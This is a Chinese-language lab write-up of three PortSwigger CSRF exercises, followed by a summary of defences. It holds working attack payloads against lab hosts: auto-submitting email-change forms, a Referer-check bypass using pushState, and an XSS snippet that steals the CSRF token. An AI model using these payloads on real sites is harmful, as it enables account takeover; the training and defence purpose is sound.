CSRF 跨站请求伪造完全实战手册
学习平台:PortSwigger Web Security Academy 完成日期:Day 11 前置知识:已完成 XSS 基础与进阶(Day 9-10)
目录
一、什么是 CSRF
1.1 定义
CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种攻击者诱导已登录用户在不知情的情况下,以其身份执行非预期操作的攻击方式。
1.2 核心原理
┌─────────────────────────────────────────────────────────────┐
│ 用户登录银行网站 A │
│ Cookie: session=xxx(浏览器自动保存) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 用户访问攻击者控制的网站 B(钓鱼邮件/恶意广告) │
│ 网站 B 中隐藏了一个自动提交的表单: │
│ <form action="https://银行A.com/转账" method="POST"> │
│ <input name="to" value="黑客账号"> │
│ <input name="amount" value="10000"> │
│ </form> │
│ <script>document.forms[0].submit();</script> │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 浏览器自动带上银行 A 的 Cookie 发送请求 │
│ 银行 A 看到合法的 Session → 执行转账 │
│ 用户完全不知情! │
└─────────────────────────────────────────────────────────────┘
1.3 为什么叫“跨站”?
因为攻击代码托管在攻击者的网站(跨站),但利用的是目标网站(受害站点) 上用户的已登录状态。
1.4 攻击成立的两个必要条件
| 用户已登录目标网站 | 浏览器中保存了目标网站的 Session Cookie |
| 目标网站没有 CSRF 防御 | 没有 Token、SameSite Cookie 或 Referer 验证 |
二、CSRF 与 XSS 的核心区别
| 全称 | Cross-Site Request Forgery | Cross-Site Scripting |
| 攻击目标 | 利用用户已登录状态执行操作 | 在受害者浏览器执行恶意脚本 |
| 是否需要用户已登录 | ✅ 必须 | ❌ 不一定 |
| 能否读取 Cookie | ❌ 不能 | ✅ 可以(通过 document.cookie) |
| 攻击代码位置 | 攻击者控制的第三方网站 | 目标网站本身的页面中 |
| 用户交互要求 | 访问攻击者网页即可(零操作) | 访问含恶意脚本的页面 |
| 浏览器行为 | 自动带上目标站 Cookie 发请求 | 执行注入的 JavaScript |
| 典型危害 | 转账、改密码、改邮箱 | 窃取 Cookie、键盘记录、钓鱼 |
| 防御方法 | CSRF Token、SameSite Cookie | 输出编码、CSP、HttpOnly |
| 关系 | XSS 可以绕过 CSRF Token 防御 | — |
2.1 一句话区分
- CSRF:黑客"借用"你的身份去干坏事(你不知情,浏览器自动帮忙)
- XSS:黑客"注入"恶意代码到你的页面里执行(代码在目标站运行)
2.2 XSS 如何绕过 CSRF Token?
如果目标网站同时存在 XSS 漏洞 和 CSRF Token 防御:
<script>
// XSS 读取页面上的 CSRF Token
var token = document.getElementsByName('csrf')[0].value;
// 用获取到的 Token 构造合法请求
fetch('/change-email', {
method: 'POST',
body: 'email=hacked@evil.com&csrf=' + token
});
</script>
结论:XSS 的危害比 CSRF 更大,因为 XSS 可以读取页面上的 Token,从而绕过 CSRF 的所有防御。
三、实验室 1:无防御的 CSRF
3.1 攻击目的
理解最基础的 CSRF 攻击:目标网站没有任何防御,攻击者可以直接构造恶意请求让受害者执行。
3.2 攻击思路
3.3 实施步骤
Step 1:访问实验室并登录
访问地址: https://portswigger.net/web-security/csrf/lab-no-defenses

Step 2:进入“我的账户”页面
点击页面顶部的 “我的账户”(My account)。

Step 3:正常修改邮箱,观察请求
在邮箱输入框输入新邮箱(如 test@example.com),点击 “更新邮件”。
关键观察:按 F12 → Network 面板,查看请求详情。

Step 4:构造攻击代码
根据抓包结果,构造自动提交的表单:
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@evil.com">
</form>
<script>
document.forms[0].submit();
</script>
Step 5:在 Exploit Server 中部署

Step 6:发送给受害者
点击 “将利用权传递给受害者”(Deliver exploit to victim)。
PortSwigger 会自动模拟一个已登录的受害者访问你的攻击页面,表单自动提交 → 受害者邮箱被篡改。
Step 7:验证成功
等待 3-5 秒,点击 “返回实验室”。

3.4 为什么能成功?
| 无 Token 防御 | 请求中没有任何 CSRF Token |
| 无 Referer 验证 | 后端不检查请求来源 |
| 无 SameSite Cookie | Cookie 随跨站请求自动发送 |
| 浏览器自动带 Cookie | 受害者已登录,浏览器自动带上 Session Cookie |
四、实验室 2:Referer 验证失效的 CSRF
4.1 攻击目的
理解“有防御但防御逻辑有缺陷”的场景。目标网站检查了 Referer 头,但验证逻辑不严格,可以被绕过。
4.2 攻击思路
4.3 实施步骤
Step 1:访问实验室并登录

Step 2:正常修改邮箱,抓包观察 Referer
按 F12 → Network → 点击 change-email 请求 → 请求标头,找到 Referer 字段:
Referer: https://0a0500c80393b5da802a03cf00eb00d5.web-security-academy.net/my-account?id=wiener

Step 3:分析验证逻辑
根据 Solution 提示,后端验证逻辑类似:
// ❌ 错误:只检查 Referer 字符串中是否包含目标域名
$referer = $_SERVER['HTTP_REFERER'];
if (strpos($referer, 'web-security-academy.net') !== false) {
// 认为合法!
changeEmail($_POST['email']);
}
漏洞:只要 Referer 中包含目标域名即可通过,不要求 Referer 必须来自目标域名本身。
Step 4:构造绕过代码
利用 history.pushState() 修改当前页面 URL(不刷新页面),使 Referer 头包含目标域名:
<!– Head 部分添加 Referrer-Policy –>
Referrer-Policy: unsafe-url
<!– Body 部分 –>
<form method="POST" action="https://0ad3009203b71ab680b00380004d00ca.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@evil.com">
</form>
<script>
history.pushState("", "", "/?0ad3009203b71ab680b00380004d00ca.web-security-academy.net");
document.forms[0].submit();
</script>

Step 5:为什么需要 Referrer-Policy: unsafe-url?
现代浏览器(Chrome、Firefox 等)默认会剥离 Referer 头中的查询字符串(安全策略)。
| 默认(无策略) | 跨站请求时 Referer 只保留域名,去掉查询字符串 |
| unsafe-url | 保留完整 URL,包括查询字符串 |
如果不加这个头,Referer 会变成:
Referer: https://exploit-xxx.exploit-server.net/ ← 没有查询字符串,验证失败
加了之后,Referer 变成:
Referer: https://exploit-xxx.exploit-server.net/?0a0500c…web-security-academy.net
后端 strpos 检查 → 发现包含目标域名 → 验证通过!
Step 6:Store → Deliver to victim
等待 3-5 秒,返回实验室。

4.4 为什么能成功?
| Referer 验证逻辑缺陷 | 后端用 strpos 检查“是否包含”,而非严格匹配域名 |
| URL 构造绕过 | 让攻击页面的 URL 包含目标域名作为查询字符串 |
| 浏览器安全策略绕过 | Referrer-Policy: unsafe-url 强制保留完整 Referer |
| 受害者无感知 | 页面加载后 JS 自动执行,受害者完全不知情 |
4.5 正确的 Referer 验证应该怎么做?
// ✅ 正确:严格解析并匹配域名
$referer = parse_url($_SERVER['HTTP_REFERER']);
if ($referer['host'] === 'web-security-academy.net') {
changeEmail($_POST['email']);
}
五、实验室 3:Token 未绑定会话的 CSRF
5.1 攻击目的
理解 CSRF Token 防御的关键缺陷:Token 虽然存在,但没有和用户会话绑定,导致攻击者可以用自己的 Token 攻击其他用户。
5.2 攻击思路
5.3 实施步骤
Step 1:访问实验室并登录

Step 2:获取自己的 CSRF Token
进入"我的账户"页面,按 F12 → 查看源码,找到表单中的隐藏字段:
<form method="POST" action="/my-account/change-email">
<input required type="email" name="email" value="wiener@normal-user.net">
<input required type="hidden" name="csrf" value="27rOOffDeqA7g84qnRrhwRrBUY1w6k6t">
<button type="submit">Update email</button>
</form>
记下 csrf 的值:CWBNqHO5I0r4m83MduToFZ58sgP7SFoG

Step 3:验证 Token 是否全局通用
换一个浏览器/隐私模式,用另一个账号(如 carlos)登录,查看其页面上的 Token。
如果两个账号的 Token 相同 → 确认 Token 未绑定会话。

Step 4:构造攻击代码
使用自己的 Token 构造攻击页面:
<form method="POST" action="https://0a710081043ca1f11800f8a8100ba00bd.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="hacked@evil.com">
<input type="hidden" name="csrf" value="CWBNqHO5I0r4m83MduToFZ58sgP7SFoG">
</form>
<script>
document.forms[0].submit();
</script>

Step 5:Store → Deliver to victim
PortSwigger 模拟受害者(carlos)访问攻击页面:
- 请求携带 carlos 的 Session Cookie
- 请求携带 wiener 的 CSRF Token
- 后端验证:Token 存在且格式正确 → 通过!
- 后端没有验证:这个 Token 是否属于 carlos?
Step 6:验证成功
等待 3-5 秒,返回实验室。

5.4 为什么能成功?
| Token 未绑定用户 | 所有用户共用同一个 Token,或 Token 不验证归属 |
| 后端验证逻辑缺陷 | 只检查 Token 是否存在/格式正确,不检查 Token 是否属于当前 Session |
| 攻击者获取自己的 Token | 合法用户可以轻松获取自己的 Token |
| 跨用户复用 | 用 A 用户的 Token 攻击 B 用户 |
5.5 正确的 Token 防御应该怎么做?
session_start();
// ✅ 正确:Token 和用户 Session 绑定
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// 验证时检查 Token 是否属于当前 Session
if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
die('Invalid CSRF token');
}
每个用户的 Token 都是独立生成且存储在 Session 中的,攻击者无法预测其他用户的 Token。
六、CSRF 防御方案总结
6.1 防御层级(从弱到强)
| 第一层 | Referer 验证 | ⚠️ 弱 | 验证逻辑缺陷可被绕过 |
| 第二层 | CSRF Token(未绑定 Session) | ⚠️ 弱 | Token 可复用 |
| 第三层 | CSRF Token(绑定 Session) | ✅ 强 | XSS 可绕过 |
| 第四层 | SameSite Cookie | ✅ 强 | 需配合其他防御 |
| 第五层 | 双重 Cookie + Token | ✅ 很强 | 几乎无法绕过 |
| 第六层 | 敏感操作二次确认 | ✅ 很强 | 用户体验稍差 |
6.2 各防御方案详解
方案 1:CSRF Token(最常用)
原理:每次请求附带一个随机生成的 Token,攻击者无法预测。
正确实现:
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 表单中嵌入
<input type="hidden" name="csrf" value="<?php echo $_SESSION['csrf_token']; ?>">
// 提交时验证
if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
die('Invalid token');
}
关键点:
- Token 必须随机生成(不可预测)
- Token 必须绑定用户 Session(不能全局通用)
- Token 必须每次请求更新(或定期更新)
方案 2:SameSite Cookie
原理:设置 Cookie 的 SameSite 属性,控制 Cookie 在跨站请求中的发送行为。
| Strict | 完全禁止跨站发送 Cookie | 最高安全级别 |
| Lax | 允许安全的跨站 GET 请求(如点击链接),禁止 POST | 平衡安全与体验 |
| None | 允许所有跨站请求发送 Cookie(需配合 Secure) | 第三方登录等 |
设置方法:
setcookie('session', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
方案 3:Referer 验证(辅助手段)
原理:检查请求的来源页面是否合法。
正确实现:
$referer = parse_url($_SERVER['HTTP_REFERER']);
if ($referer['host'] !== 'example.com') {
die('Invalid referer');
}
注意:Referer 头可能被浏览器禁用或篡改,不能作为唯一防御手段。
方案 4:双重 Cookie 验证
原理:利用 Cookie 的天然同源策略,在请求中同时携带 Cookie 和 Token。
1. 用户访问页面时,服务器设置 Cookie: csrf_token=random_value
2. 前端 JS 读取 Cookie 中的 csrf_token
3. 发送请求时,将 csrf_token 放入请求头或参数中
4. 后端验证:请求中的 Token 是否等于 Cookie 中的 Token
优点:不需要服务器存储 Token,纯前端实现。
方案 5:敏感操作二次确认
原理:对于转账、改密码等敏感操作,要求用户再次输入密码或验证码。
修改邮箱 → 弹出确认框 → 要求输入当前密码 → 验证通过后才执行
优点:即使 CSRF 攻击成功,也无法通过二次验证。
6.3 防御方案选择建议
| 普通表单提交 | CSRF Token + SameSite=Lax |
| 高安全性要求(银行、支付) | CSRF Token + SameSite=Strict + 二次确认 |
| API 接口 | Token 验证(JWT/ OAuth)+ CORS 白名单 |
| 第三方登录 | SameSite=None + Secure |
七、核心收获
7.1 三个实验室对比
| 无防御 | 无 | — | 直接构造恶意请求 |
| Referer 失效 | Referer 验证 | 验证逻辑不严格(strpos 检查"包含") | history.pushState + Referrer-Policy: unsafe-url |
| Token 未绑定 | CSRF Token | Token 未和用户 Session 绑定 | 用自己的 Token 攻击其他用户 |
7.2 关键认知
CSRF 的本质:利用浏览器"自动带 Cookie"的特性,让受害者在不知情的情况下执行操作。
防御的核心:让攻击者无法构造合法的请求。
- Token 防御:攻击者无法预测 Token
- SameSite 防御:攻击者无法让浏览器带上 Cookie
- Referer 防御:攻击者无法伪造来源
XSS > CSRF:如果存在 XSS,所有 CSRF 防御都无效。因为 XSS 可以在目标页面内执行代码,直接读取 Token 或执行任意操作。
Referer 验证的坑:
- ❌ 错误:strpos($referer, 'domain.com')(只检查是否包含)
- ✅ 正确:parse_url($referer)['host'] === 'domain.com'(严格匹配域名)
Token 设计的坑:
- ❌ 错误:全局通用 Token、硬编码 Token、可预测的 Token
- ✅ 正确:每个用户独立、随机生成、绑定 Session、定期更新
网硕互联帮助中心




评论前必须登录!
注册